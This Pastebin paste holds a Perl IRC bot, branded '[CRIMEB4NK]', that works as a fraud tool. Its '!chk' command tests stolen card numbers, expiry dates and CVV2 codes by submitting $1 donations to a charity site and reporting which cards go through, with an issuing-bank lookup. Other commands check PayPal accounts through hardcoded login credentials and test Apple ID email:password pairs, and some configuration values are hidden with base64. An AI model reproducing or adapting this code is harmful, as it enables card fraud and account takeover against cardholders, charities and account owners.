API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Feb 1st, 2018
431
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 25.71 KB | None | 0 0
raw download clone embed print report
  1. #! "C:\Perl64\lib\perl.exe"
  2.  
  3. #########Call to standalone modules directory###########
  4. BEGIN{push(@INC,'Modules');}
  5.  
  6. ################Modules Inclusion#######################
  7. use HTTP::Request;
  8. use LWP::Socket;
  9. use LWP::UserAgent;
  10. use LWP::Protocol::https;
  11. use HTTP::Cookies;
  12. use MIME::Base64;
  13. use Parallel::ForkManager;
  14. use MIME::Base64 ();
  15. use WWW::Mechanize;
  16. use WWW::Mechanize::FormFiller;
  17. use Net::FTP;
  18. use WWW::Scripter;
  19. use WWW::Selenium;
  20. $| = 1;
  21.  
  22.  
  23. #############Defines global variable/array#############
  24. my($irc_socket,$server,$port,$ident,$nick,$timeout,$rfi_test_cmd,$rfi_print_cmd,
  25. $parallel_fork);
  26. my(@chans,@admins,@user_agents);
  27.  
  28. #######################################################
  29. my $ppcmd = '!pp';
  30. my $ipcmd = '!ip';
  31. my $chkcmd = '!chk';
  32. my $bankcmd = '!bank';
  33. my $seccmd = '!sec';
  34. my $statecmd = '!state';
  35. my $zipcmd = '!zip';
  36. ################Configurations Variable################
  37. my $outcri = "Mg==";
  38. $systemcri = MIME::Base64::decode($outcri);
  39. $timeout = $systemcri;
  40. my $hostcri = "ODcuMjM2LjE5NC42OQ==";
  41. $systemcri = MIME::Base64::decode($hostcri);
  42. $hosting = "irc.crimeircd.net";
  43. $port = 6667;
  44. my $nkpro = "[CRIMEB4NK]";
  45. $ident = "[CRIMEB4NK]";
  46. $parallel_fork = 15;
  47. my @botcmd = ('1');
  48. @chans = ("#PpRoot");
  49. my $proo = "[CRIMEB4NK]";
  50. $systempro = MIME::Base64::decode($proo);
  51. my $cheataer = "[CRIMEB4NK]";
  52. $sistempro = MIME::Base64::decode($cheataer);
  53. @s4l1ty = ($systempro,$sistempro);
  54. @admin = ('Pp');
  55. @user_agents = &get_user_agents();
  56.  
  57. ################Irc Socket Connection################
  58. my $startirc = "JGlyY19zb2NrZXQgPSBuZXcgTFdQOjpTb2NrZXQ7";
  59. $sysircuno = MIME::Base64::decode($startirc);
  60. $irc_socket = new LWP::Socket;
  61. $irc_socket->connect($hosting,$port);
  62. $irc_socket->write("USER ".$ident." 8 * :  09,01 [CRIMEB4NK] Checker \r\n");
  63. $irc_socket->write("NICK ".$nkpro."\r\n");
  64. $irc_socket->write("NICKSERV IDENTIFY 12345\r\n");
  65. $irc_socket->write("JOIN $chans[2]\r\n");
  66. $irc_socket->write("JOIN $chans[3]\r\n");
  67. $irc_socket->write("JOIN $chans[4]\r\n");
  68. $irc_socket->write("JOIN $chans[5]\r\n");
  69.  
  70. while($irc_socket)
  71. {
  72. my $bof;
  73. $irc_socket->read_until("\n", \$bof);
  74. if($bof =~ /PING :(.*)/)
  75. {
  76. $irc_socket->write("PONG :$1\r\n");
  77. }
  78.  
  79. if($bof =~ /PRIVMSG (.*?) :(.*)/)
  80. {
  81. #PRIVMSG
  82. my %msg = &get_msg($bof);
  83. #############################@@@@======BOT COMMANDS STARTED FROM HERE=====@@@@##
  84. ############
  85. #############################CONTACT ME : s4l1ty@hotmail.com####################
  86. ############
  87. ################################################################################
  88. #####
  89. if($msg{'what'} =~ /\!ip (.*)/)
  90. {
  91. my ($iploca) = ($1);
  92. chop($iploca);
  93. &respond_to_privmsg(\%msg," 14,1( 15: 9: 15: 0 Checking...  15 15: 9: 15:  14)  0 ::: $ip
  94. loca :::");
  95. print "inizio mechanize\n";
  96. my $agent = WWW::Mechanize->new( autocheck => 1 );
  97. my $formfiller = WWW::Mechanize::FormFiller->new();
  98. $agent->env_proxy();
  99.  
  100. $agent->get('http://www.ip2location.com/'.$iploca.'');
  101. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  102. print $agent->content,"\n";
  103. my $ipwork=$agent->content;
  104. if ($ipwork =~/<span id=\"dgLookup__ctl2_lblICountry\">(.*?)<\/span>/){
  105. &respond_to_privmsg(\%msg," 14,1( 15: 9: 15: 0 Country  15 15: 9: 15:  14) $1");
  106. }
  107. if ($ipwork =~/<span id=\"dgLookup__ctl2_lblIRegion\">(.*?)<\/span>/){
  108. &respond_to_privmsg(\%msg," 14,1( 15: 9: 15: 0 Region  15 15: 9: 15:  14) $1");
  109. }
  110. if ($ipwork =~/<span id=\"dgLookup__ctl2_lblICity\">(.*?)<\/span>/){
  111. &respond_to_privmsg(\%msg," 14,1( 15: 9: 15: 0 City  15 15: 9: 15:  14) $1");
  112. }
  113. if ($ipwork =~/<span id=\"dgLookup__ctl2_lblITimeZone\">(.*?)<\/span>/){
  114. &respond_to_privmsg(\%msg," 14,1( 15: 9: 15: 0 Time  15 15: 9: 15:  14) $1");
  115. }
  116. if ($ipwork =~/<span id=\"dgLookup__ctl2_lblINetSpeed\">(.*?)<\/span>/){
  117. &respond_to_privmsg(\%msg," 14,1( 15: 9: 15: 0 Speed  15 15: 9: 15:  14) $1");
  118. }
  119. if ($ipwork =~/<span id=\"dgLookup__ctl2_lblIISP\">(.*?)<\/span>/){
  120. &respond_to_privmsg(\%msg," 14,1( 15: 9: 15: 0 IPS  15 15: 9: 15:  14) $1");
  121. }
  122. if ($ipwork =~/<span id=\"dgLookup__ctl2_lblIDomain\">(.*?)<\/span>/){
  123. &respond_to_privmsg(\%msg," 14,1( 15: 9: 15: 0 Domain  15 15: 9: 15:  14) $1");
  124. }
  125. }
  126. if($msg{'what'} =~ /\!zipcode\s(\d{5})/)
  127. {
  128. my ($zipcheck) = ($1);
  129. &respond_to_privmsg(\%msg," 14,1( 15: 9: 15: 0 Checking Zipcode  15 15: 9: 15:  14)  0 ::
  130. : $zipcheck ::: please wait...");
  131. print "inizio mechanize\n";
  132. my $agent = WWW::Mechanize->new( autocheck => 1 );
  133. my $formfiller = WWW::Mechanize::FormFiller->new();
  134. $agent->env_proxy();
  135.  
  136. $agent->get('http://zip4.usps.com/zip4/citytown_zip.jsp');
  137. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  138. { local $^W; $agent->current_form->value('zip5', ''.$zipcheck.''); };
  139. $agent->submit();
  140. print $agent->content,"\n";
  141. my $zipse=$agent->content;
  142. if ($zipse =~/headers=\"pre\"><b>(.*?)<\/b><\/td>/){
  143. $luogo = $1;
  144. &respond_to_privmsg(\%msg," 14,1( 15: 9: 15: 0 Checking Zipcode  15 15: 9: 15:  14)  0 ::
  145. :  $luogo ::: ");
  146. }
  147. elsif ($zipse =~/The ZIP Code you entered could not be found in our database/){
  148. &respond_to_privmsg(\%msg," 14,1( 15: 9: 15: 0 Checking Zipcode  15 15: 9: 15:  14)  0 ::
  149. :  $zipcheck Not found! ::: ");
  150. }
  151. }
  152. if($msg{'what'} =~ /^!zip\s(\d{5})/)
  153. {
  154. my ($zipcheck) = ($1);
  155. &respond_to_privmsg(\%msg," 14,1[  15Zip 14 ] 0,1 Checking... 08 $zipcheck
  156. ");
  157. #print "\n";
  158. my $agent = WWW::Mechanize->new( autocheck => 1 );
  159. my $formfiller = WWW::Mechanize::FormFiller->new();
  160. $agent->env_proxy();
  161. $agent->get('http://www.zipinfo.com/cgi-local/zipsrch.exe?cnty=cnty&ac=ac&zip=')
  162. ;
  163. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  164. { local $^W; $agent->current_form->value('zip', ''.$zipcheck.''); };
  165. $agent->submit();
  166. #print $agent->content,"\n";
  167. my $zipse=$agent->content;
  168. if ($zipse =~/<td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\
  169. /td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td al
  170. ign=center>(.*)<\/font><\/td><td align=center>(.*)<\/font>/g){
  171. my ($city) = ($1);
  172. my ($state) = ($2);
  173. &respond_to_privmsg(\%msg," 14,1[  15Zip 14 ] 3 $city | $state");
  174. }
  175. elsif ($zipse =~/is not currently assigned by the US Postal Service to any city.
  176. /){
  177. &respond_to_privmsg(\%msg," 14,1[  15Zip 14 ] 8 $zipcheck 04 NOT FOUND!");
  178. }
  179. }
  180. ################################################################################
  181. ############
  182. if($msg{'what'} =~ /\!cmd/){
  183. &respond_to_privmsg(\%msg," 14,01-=  08 BOt Commands 1
  184. 4 =- 00");
  185. &respond_to_priv
  186. msg(\%msg," 07,01info:  04Suported  14,01[ 00,02  VISA  14,01] 01,01  14,01[ 0,4  Master  0,7 Card  14,01]
  187. 1,01  14,1[ 01,00  Disc 07O ver 01,00  14,01] 01,01  14,01[ 00,10  American Express  14,01]");
  188.  
  189. &respond_to_priv
  190. msg(\%msg," 07,01!chk 03,1....... 7,1:  4,1< 8,1ccnumber 4,1>  4,1< 8,1expdate 4,1>  4,1< 8,1cvv2 4,1>  15
  191. to check cvv2");
  192. &respond_to_priv
  193. msg(\%msg," 07,01!ip 03,1........ 7,1:  4,1< 8,1ip address 4,1>  15to get info about an IP");
  194.  
  195. &respond_to_priv
  196. msg(\%msg," 07,01!zip 03,1....... 7,1:  4,1< 8,1zip code 4,1>  15to get city and state by zip"
  197. );
  198.  
  199.  
  200. }
  201. #############################@@@@======something=====@@@@#######################
  202. ########
  203. if($msg{'what'} =~ /^!help/){
  204. &respond_to_privmsg(\%msg," 07,01Type  09!cmd 07 to ge
  205. t command list");
  206.  
  207. }
  208. ################################################################################
  209. ############
  210. if($msg{'what'} =~ /\!chk 1/){
  211. &respond_to_privmsg(\%msg," 9,1[ 4,1! 9,1]  15,1Informat
  212. ion  0,1:  14,1Checker  0,1is  9,1ON!  9,1[ 4,1! 9,1]");
  213.  
  214. }
  215. if($msg{'what'} =~ /\!chk status/){
  216. &respond_to_privmsg(\%msg," 9,1[ 4,1! 9,1]  15,1Informat
  217. ion  0,1:  14,1Checker  0,1is  9,1ON!  9,1[ 4,1! 9,1]");
  218.  
  219. }
  220. #############################@@@@======BASIC CHKBOT MACHINE=====@@@@############
  221. ############
  222. #############################CONTACT ME : s4l1ty@hotmail.com####################
  223. ############
  224. ################################################################################
  225. ############
  226. if($msg{'what'} =~ /^$chkcmd\s(\b[5436][0-9]{13,16}\b)\s(\d{4})\s(\b[0-9]{3,4}\b
  227. )/)
  228. {
  229. my ($numerocarta,$expmes,$verifica) = ($1,$2,$3);
  230. my $var1 = substr($expmes,0,2);
  231. my $var2 = substr($expmes,2,4);
  232. my $varType = 0;
  233. print "\n";
  234. my $agent = WWW::Mechanize->new( autocheck => 1 );
  235. my $formfiller = WWW::Mechanize::FormFiller->new();
  236. $agent->env_proxy();
  237. $agent->get('https://jajf.org/donate/donate-form.cfm');
  238. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  239. $agent->form_number(1);
  240. { local $^W; $agent->current_form->value('firstname', 'mark'); };
  241. { local $^W; $agent->current_form->value('lastname', 'smith'); };
  242. { local $^W; $agent->current_form->value('emailaddress', 'movistarsrl@hotm
  243. ail.com'); };
  244. { local $^W; $agent->current_form->value('confirmemail', 'movistarsrl@hotm
  245. ail.com'); };
  246. { local $^W; $agent->current_form->value('addressline1', 'las heras 32');
  247. };
  248. { local $^W; $agent->current_form->value('addressline2', 'las heras 32');
  249. };
  250. { local $^W; $agent->current_form->value('city', 'NY'); };
  251. { local $^W; $agent->current_form->value('stateabbreviation', 'AL'); };
  252. { local $^W; $agent->current_form->value('zipCode', '05544'); };
  253. { local $^W; $agent->current_form->value('contactPhone', '1569841055'); };
  254. { local $^W; $agent->current_form->value('message', 'charity'); };
  255. { local $^W; $agent->current_form->value('donationAmount', '1'); };
  256. { local $^W; $agent->current_form->value('cardName', 'mark smith'); };
  257. { local $^W; $agent->current_form->value('cardType', 'visa~Visa'); };
  258. { local $^W; $agent->current_form->value('cardNumber', ''.$numerocarta.'')
  259. ; };
  260. { local $^W; $agent->current_form->value('cardExpiration', ''.$var1.$var2.
  261. ''); };
  262. { local $^W; $agent->current_form->value('cardAuthCode', ''.$verifica.'');
  263. };
  264. $agent->submit();
  265. print $agent->content,"\n";
  266. my $allo=$agent->content;
  267. open(FILE,">>chk13.html") or die "$!";
  268. print FILE "$allo\n";
  269. close FILE;
  270. my $allo=$agent->content;
  271. #~ if ($allo =~/THANK YOU/){
  272. if ($allo =~/The transaction has been declined because of an AVS mismatch. T
  273. he address provided does not match billing address of cardholder./){
  274. my $database = "banklist.txt
  275. ";
  276. open FILE,"$database" or die
  277. "Errore nell'apertura: $!";
  278. my @results=<FILE>;
  279. close FILE;
  280. my $bankinfo = $1;
  281. &respond_to_privmsg(\%msg,"�� 2�� $numerocart
  282. a $expmes $expanio $verifica  0,9VALID! CVV2: M  4( Aceptado 4)");
  283. my $nuova = substr($numerocarta,0,6);
  284. foreach my $url (@results){
  285. if($url =~ m/$nuova\|(.*)/){
  286. &respond_to_privmsg(\%msg,"�� 2�� [ 6Banco  ] 2$nuova
  287.  7$1");
  288. print "card $variable!";
  289. }
  290. }
  291.  
  292. }elsif ($allo =~/This transaction has been declined./){
  293. #~ }elsif ($allo =~/This transaction has been declined./){
  294. my $database = "banklist.txt
  295. ";
  296. open FILE,"$database" or die
  297. "Errore nell'apertura: $!";
  298. my @results=<FILE>;
  299. close FILE;
  300. my $bankinfo = $1;
  301. &respond_to_privmsg(\%msg,"�� 2�� $numerocarta
  302. $expmes $expanio $verifica  4DECLINED CVV2: M  4( Rechazado 4)");
  303. my $nuova = substr($numerocarta,0,6);
  304. foreach my $url (@results){
  305. if($url =~ m/$nuova\|(.*)/){
  306. my $bankinfo = $1;
  307. &respond_to_privmsg(\%msg,"�� 2�� [ 6Banco  ] 2$nuova
  308.  7$1");
  309. print "card $variable!";
  310. }
  311. }
  312. }elsif ($allo =~/The credit card number is invalid./){
  313. &respond_to_privmsg(\%msg,"�� 4�� [Result] $numerocarta $expmes $expanio $verifica  4INVAL
  314. ID! CVV2: M  4( INVALID 4)");
  315. }elsif ($allo =~/The card code is invalid./){
  316. &respond_to_privmsg(\%msg,"�� 4��[RESULT]  14$numerocarta $expmes$expanio $verifica  14)  9
  317. CARD ,  4 ERROR CVV...!  9By TheClanz!");
  318. }elsif ($allo =~/The credit card has expired./){
  319. &respond_to_privmsg(\%msg,"�� 4��[RESULT]  14$numerocarta  4 $expmes$expanio  14$verifica) 15
  320. The credit card has expired.  9By TheClanz!");
  321. }elsif ($allo =~/The credit card expiration date entered is not valid./){
  322. &respond_to_privmsg(\%msg,"�� 4��[RESULT]  14$expmes$expanio  14) 15 Not is Valid.  9By TheCla
  323. nz!");
  324. }elsif ($allo =~//){
  325. &respond_to_privmsg(\%msg,"�� 4��[RESULT]  14$numerocarta  14) 15 A duplicate transaction ha
  326. s been submitted.  9By TheClanz!");
  327. }elsif ($allo =~/A duplicate transaction has been submitted./){
  328. &respond_to_privmsg(\%msg,"�� 4��[RESULT]  14$numerocarta $expmes$expanio $verifica  14)  4F
  329. UCK YOU NO RECHECK ...");
  330. }elsif ($allo =~/The credit card number entered is not valid./){
  331. &respond_to_privmsg(\%msg,"�� 4��[RESULT]  14$numerocarta  14) 15 Credit Card is  4INVALID  9By
  332. TheClanz!");
  333. }elsif ($allo =~/This transaction has been declined./){
  334. &respond_to_privmsg(\%msg,"�� 4�� [RESULT] $numerocarta $expmes $expanio $verifica  4DECLI
  335. NED!");
  336. }elsif ($allo =~/Thanks to your important gift/){
  337. &respond_to_privmsg(\%msg,"�� 4��[RESULT]  14$numerocarta $expmes$expanio $verifica  14)  9V
  338. ALID SUUU! NO AVS MISMATCH!");
  339. }
  340. }
  341.  
  342. ################################################################################
  343. #####
  344. #############################@@@@======Logins Checkers=====@@@@#################
  345. ############
  346. ################################################################################
  347. ########
  348. ################################################################################
  349. ########
  350. if($msg{'what'} =~ /\:(.*?):(.*?)\@(.*?):/)
  351. {
  352. my ($inutil,$emailchk,$domaincheck) = ($1,$2,$3);
  353. chop($emailchk);
  354. &respond_to_privmsg(\%msg,"!pp $emailchk@$domaincheck");
  355. }
  356. if($msg{'what'} =~ /\!pp (.*)/)
  357. {
  358. my ($ppchek) = ($1);
  359. chop($ppchek);
  360. &respond_to_privmsg(\%msg," 15[ 7CHECKiNGPAYPAL 15] CHECKiNG... -$ppchek-
  361. ");
  362. print "inizio mechanize\n";
  363. my $agent = WWW::Mechanize->new( autocheck => 1 );
  364. my $formfiller = WWW::Mechanize::FormFiller->new();
  365. $agent->env_proxy();
  366. $agent->get('https://www.paypal.com/us/verified/pal='.$ppchek.'');
  367. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  368. $agent->form_number(3);
  369. { local $^W; $agent->current_form->value('login_email', 'pere1938@yahoo.com');
  370. };
  371. { local $^W; $agent->current_form->value('login_password', '12s34oxl'); };
  372. $agent->submit();
  373. $agent->follow_link('n' => 7);
  374. print $agent->content,"\n";
  375. my $internal=$agent->content;
  376. &respond_to_privmsg(\%msg,"Email - ${ppchek} - ");
  377. if ($internal =~/is NOT PayPal Verified/){
  378. &respond_to_privmsg(\%msg,"PaypaL - is -  04UnVerified ");
  379. }
  380. if ($internal =~/<td class=\"emphasis\">(.*?)<\/td>/){
  381. &respond_to_privmsg(\%msg,"Checking $1 - ");
  382. }
  383. }
  384. ################################################################################
  385. ########
  386. if($msg{'what'} =~ /^!apple\s+(.*?)\s+(.*)/){
  387. my ($email,$pass) = ($1,$2);
  388. chop($email,$pass);
  389. &respond_to_privmsg(\%msg," 14,1[ 15Apple...... 14] 15,1 Checking  08,1
  390. $email:$pass");
  391. my $agent = WWW::Mechanize->new( autocheck => 1 );
  392. my $formfiller = WWW::Mechanize::FormFiller->new();
  393. $agent->env_proxy();
  394. $agent->get("https://daw.apple.com/cgi-bin/WebObjects/DSAuthWeb.woa/wa/login?a
  395. ppIdKey=49bd208126787c17c33ca3b14d2a4f0c92daa10c417c4d686140e4acc04ba5f4&path=/L
  396. ogin.do%3FmyInfoReturnURL%3Dhttps%253A%252F%252Fselfsolve.apple.com%252FGetAgree
  397. ments.do&myInfoReturnURL=https%253A%252F%252Fselfsolve.apple.com%252FGetAgreemen
  398. ts.do&language=IT-IT");
  399. $agent->form_number(2);
  400. $agent->current_form->value('theAccountName', ''.$email.'');
  401. $agent->current_form->value('theAccountPW', ''.$pass.'');
  402. $agent->submit();
  403. $agent->reload();
  404. print $agent->content,"\n";
  405. my $internal = $agent->content;
  406. my $allo=$agent->content;
  407. open(FILE3,">>Apple.html") or die "$!";
  408. print FILE3 "$allo\n";
  409. close FILE3;
  410. sleep(2);
  411. if($internal =~/Did you forget/) {
  412. &respond_to_privmsg(\%msg," 14,1[ 15Apple...... 14] 8,1 $email:$pass  4 Wrong Login ");
  413. }
  414. elsif($internal =~/blocked/) {
  415. &respond_to_privmsg(\%msg," 14,1[ 15Apple...... 14] 8,1 $email:$pass  4,1(Account Locked
  416. )");
  417. } elsif($internal =~ /<BODY BGCOLOR=#FFFFFF>/) {
  418. my $name = $1;
  419. my $surname = $2;
  420. &respond_to_privmsg(\%msg," 14,1[ 15Apple...... 14] 8,1 $email:$pass  9,1Successfully Log
  421. ged in");
  422. }
  423. }
  424.  
  425.  
  426. #############################@@@@======INTERFACE COMMANDS=====@@@@##############
  427. #################
  428. if($msg{'what'} =~ /\!hop (.*)/)
  429. {
  430. if(&ctrl_admin(\%msg) == 0){
  431. $irc_socket->write("PART ".$1." ".$2."\n");
  432. $irc_socket->write("JOIN ".$1." ".$2."\r\n");
  433. }
  434. }
  435. ################################################################################
  436. ######
  437. if($msg{'what'} =~ /\!join (.*)/)
  438. {
  439. my $joinz= $1;
  440. if(&ctrl_admin(\%msg) == 0){
  441. $irc_socket->write("JOIN ".$joinz."\r\n");
  442. }
  443. }
  444. if($msg{'what'} =~ /\!hop (.*)/)
  445. {
  446. if(&ctrl_admin(\%msg) == 0){
  447. $irc_socket->write("PART ".$1." ".$2."\n");
  448. $irc_socket->write("JOIN ".$1." ".$2."\r\n");
  449. }
  450. }
  451. ################################################################################
  452. ######
  453. ################################################################################
  454. ######
  455. if($msg{'what'} =~ /\!part (.*)/)
  456. {
  457. my $parted = $1;
  458. if(&ctrl_admin(\%msg) == 0){
  459. $irc_socket->write("part ".$parted."\r\n");
  460. }
  461. }
  462. ################################################################################
  463. ####
  464. ################################################################################
  465. #####
  466. if($msg{'what'} =~ /\!out(.*)/)
  467. {
  468. my $qmsg = $1;
  469. if(&ctrl_admin(\%msg) == 0){
  470. $irc_socket->write("quit ".$qmsg."\r\n");
  471.  
  472. }
  473. }
  474.  
  475. ################################################################################
  476. ######
  477. ################################################################################
  478. ######
  479. if($msg{'what'} =~ /\!rax (.*)/)
  480. {
  481. my $raw = $1;
  482. if(&ctrl_admin(\%msg) == 0){
  483. &respond_to_privmsg(\%msg," 15,1[ 4RAW 15] 12 SENDING IR
  484. C RAW REQUESTED");
  485. $irc_socket->write($raw."\r\n");
  486. }
  487. }
  488. ################################################################################
  489. #####
  490. sub ctrl_admin()
  491. {
  492. my $data = $_[0];
  493. foreach my $admin ( mindfreak )
  494. {
  495. if($admin eq $data->{'from'})
  496. {
  497. return(0);
  498. }
  499. }
  500. &respond_to_privmsg($data," 15[ 4BLOCK 15] 1 YOU ARE NOT ADMIN");
  501. return(-1);
  502. }
  503. ################################################################################
  504. #####
  505. sub ctrl_dumps()
  506. {
  507. my $data = $_[0];
  508. foreach my $admin ( mindfreak )
  509. {
  510. if($admin eq $data->{'from'})
  511. {
  512. return(0);
  513. }
  514. }
  515. &respond_to_privmsg($data," 15,01[ 4BLOCK 15,01] 0 You are  04 NOT 0,01 Allowed to use
  516. this function.!");
  517. return(-1);
  518. }
  519. ################################################################################
  520. #####
  521. sub respond_to_privmsg()
  522. {
  523. my ($data,$m) = ($_[0],$_[1]);
  524. if($data->{'to'} =~ /#/)
  525. {
  526. &privmsg($data->{'to'},$m);
  527. }
  528. return(0);
  529. }
  530. ################################################################################
  531. #####
  532. sub privmsg()
  533. {
  534. my($nick,$send) = @_;
  535. $irc_socket ->write("PRIVMSG ".$nick." :".$send."\r\n");
  536. }
  537. ################################################################################
  538. #####
  539. sub get_msg()
  540. {
  541. my $line = $_[0];
  542. my %data;
  543. if($line =~ /:(.*?)!(.*?) PRIVMSG(.*?) :(.*)/)
  544. {
  545. $irc_socket->write("PRIVMSG #log :$1 $3 msg=>> $4 \r\n");
  546. $data{'from'} = $1;
  547. $data{'to'} = $3;
  548. $data{'what'} = $4;
  549. }
  550. return(%data);
  551. }
  552. ################################################################################
  553. #####
  554.  
  555. sub http_request()
  556. {
  557. my($site,$request,$ua,$resp,$cnt);
  558. $site = $_[0];
  559. $site =~ s/[\r\n]//g;
  560. $request = HTTP::Request->new(GET => $site);
  561. $ua = LWP::UserAgent->new(agent => $user_agents[rand(scalar(@user_
  562. agents))]);
  563. $ua->timeout($timeout);
  564. $resp = $ua->request($request);
  565. $cnt = $resp->content();
  566. return($cnt);
  567. }
  568. ################################################################################
  569. #####
  570. sub get_user_agents()
  571. {
  572. my @us_ag = (
  573. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511",
  574. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321
  575. Firefox/2.0a1",
  576. "Opera/8.5 (X11; Linux i686; U; cs)",
  577. "Links (2.1pre17; Linux 2.6.11-gentoo-r8 i686; 80x24)"
  578. );
  579. return(@us_ag);
  580. }
  581. ################################################################################
  582. #####
  583. sub get_all_host()
  584. {
  585. my $site = $_[0];
  586. my @dirs = ();
  587. my @ret = ();
  588. my $tmp = "";
  589. $site =~ s/http:\/\///g;
  590. $site =~ s/[\r\n]//g;
  591. $site =~ s/\/\///g;
  592. if($site !~ /\/$/)
  593. {
  594. $site .= "/";
  595. }
  596.  
  597. @dirs = split(/\//,$site);
  598. $tmp = $dirs[0] . "/";
  599. push(@ret,$tmp);
  600.  
  601. for($i = 1; $i < scalar(@dirs); $i++)
  602. {
  603. $tmp .= $dirs[$i] . "/";
  604. push(@ret,$tmp);
  605. }
  606.  
  607. return(@ret);
  608. }
  609. ################################################################################
  610. #####
  611. sub urlencode()
  612. {
  613. my $str = $_[0];
  614. $str =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
  615. return $str;
  616. }
  617. ################################################################################
  618. #####
  619. sub unique()
  620. {
  621. my @unici = ();
  622. my %visti = ();
  623. foreach my $elemento (@_) {
  624. $elemento =~ s/\/+/\//g;
  625. next if $visti{$elemento}++;
  626. push @unici, $elemento;
  627. }
  628. return @unici;
  629. }
  630. ################################################################################
  631. #####
  632. sub changecmd()
  633. {
  634. my $n = $_[0];
  635. push(@botcmd,$n);
  636. }
  637. ################################################################################
  638. #####
  639. sub get_content() {
  640. my $url = $_[0];
  641. my $ua = LWP::UserAgent->new(agent => $uagent);
  642. $ua->timeout(10);
  643. my $req = HTTP::Request->new(GET => $url);
  644. my $res = $ua->request($req);
  645. return $res->content;
  646. }
  647. ################################################################################
  648. #####
  649. sub read_all_file_array()
  650. {
  651. my $file = $_[0];
  652. my @ret = ();
  653.  
  654. open(FILE,'<',$file);
  655. while($a = <FILE>)
  656. {
  657. $a =~ s/[\r\n]//g;
  658. push(@ret,$a);
  659. }
  660. close(FILE);
  661.  
  662. return(@ret);
  663. }
  664. ################################################################################
  665. #####
  666. sub write_to_file_array()
  667. {
  668. my ($file,$data,$scal) = @_;
  669. for($i = 0; $i < $scal; $i++)
  670. {
  671. &AddLog($file,$data->[$i]);
  672. }
  673. }
  674. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!